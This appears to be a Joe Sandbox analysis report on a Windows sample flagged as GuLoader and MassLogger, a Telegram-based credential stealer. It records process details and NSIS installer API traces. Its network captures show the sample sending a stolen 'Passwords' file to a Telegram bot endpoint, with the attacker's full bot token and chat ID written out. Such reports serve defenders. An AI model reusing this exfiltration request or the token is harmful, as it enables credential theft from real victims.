--===============8dd31f3cdf768dbContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:40:39 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:40:39 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:40:39 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 37 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 35 32 33 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44779,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736545238,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50000	149.154.167.220	443	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:40:41 UTC	274	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd320f49a41694 Host: api.telegram.org Content-Length: 1090
2025-01-10 21:40:41 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 30 66 34 39 61 34 31 36 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd320f49a41694Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:40:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:40:41 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:40:41 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 38 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 35 32 34 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44780,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736545241,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50003	149.154.167.220	443	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:40:48 UTC	298	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd326264810fe1 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 21:40:48 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 36 32 36 34 38 31 30 66 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd326264810fe1Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:40:49 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:40:49 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:40:49 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 38 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 35 32 34 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44781,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736545249,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50006	149.154.167.220	443	6068	C:\Users\user\Desktop\9Yn5tjyOgT.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:40:57 UTC	298	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32c1c1e4108d Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 21:40:57 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 63 31 63 31 65 34 31 30 38 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32c1c1e4108dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:40:58 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:40:57 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:40:58 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 35 32 35 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44782,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736545257,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	50008	149.154.167.220	443

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:41:04 UTC	274	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3195926fe3f3 Host: api.telegram.org Content-Length: 1090
2025-01-10 21:41:04 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 39 35 39 32 36 66 65 33 66 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3195926fe3f3Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 21:41:05 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 21:41:05 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 21:41:05 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 38 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 35 32 36 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44783,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736545265,"document":{"file_name":"U

Target ID:	0
Start time:	16:38:53
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\9Yn5tjyOgT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\9Yn5tjyOgT.exe"
Imagebase:	0x400000
File size:	1'008'728 bytes
MD5 hash:	1E1FB3E8D33AB075679A645F298D4715
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2773955750.00000000070E9000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:39:56
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\9Yn5tjyOgT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\9Yn5tjyOgT.exe"
Imagebase:	0x400000
File size:	1'008'728 bytes
MD5 hash:	1E1FB3E8D33AB075679A645F298D4715
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000006.00000002.3405749429.0000000005439000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	20.6%
Dynamic/Decrypted Code Coverage:	13.5%
Signature Coverage:	19.5%
Total number of Nodes:	1598
Total number of Limit Nodes:	38

Executed Functions

Function 004034A5 Relevance: 87.9, APIs: 32, Strings: 18, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,"C:\Users\user\Desktop\9Yn5tjyOgT.exe",00000020,"C:\Users\user\Desktop\9Yn5tjyOgT.exe",00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\9Yn5tjyOgT.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\9Yn5tjyOgT.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 0040385C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\9Yn5tjyOgT.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\9Yn5tjyOgT.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(C:\Users\user\Desktop\9Yn5tjyOgT.exe,00420EE8,00000001,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

C:\Users\user\AppData\Local\Iw\Vehefte190, xrefs: 004037F6
SeShutdownPrivilege, xrefs: 0040396F
NSIS Error, xrefs: 00403567
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
~nsu, xrefs: 00403845
1033, xrefs: 00403749
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
C:\Users\user\Desktop, xrefs: 0040386C, 00403871, 0040389E
TMP, xrefs: 00403735
C:\Users\user\AppData\Local\Iw, xrefs: 004036CB, 004037EB, 00403895, 0040389F
\Temp, xrefs: 004036FF
Low, xrefs: 0040371B
C:\Users\user\AppData\Local\Temp\, xrefs: 004036DD, 004036E2, 004036F8, 00403704, 00403713, 00403720, 0040372C, 00403734, 0040384A, 0040385B, 00403866, 00403872, 0040387F, 0040388E, 0040393F
TEMP, xrefs: 0040372D
Error launching installer, xrefs: 004037D0
C:\Users\user\Desktop\9Yn5tjyOgT.exe, xrefs: 004038F8
.tmp, xrefs: 00403861
"C:\Users\user\Desktop\9Yn5tjyOgT.exe", xrefs: 0040357C, 00403582, 00403776

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\9Yn5tjyOgT.exe"$.tmp$1033$C:\Users\user\AppData\Local\Iw$C:\Users\user\AppData\Local\Iw\Vehefte190$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\9Yn5tjyOgT.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-3070835881
Opcode ID: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

, xrefs: 00405385
N, xrefs: 00405057
M, xrefs: 00404F76

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
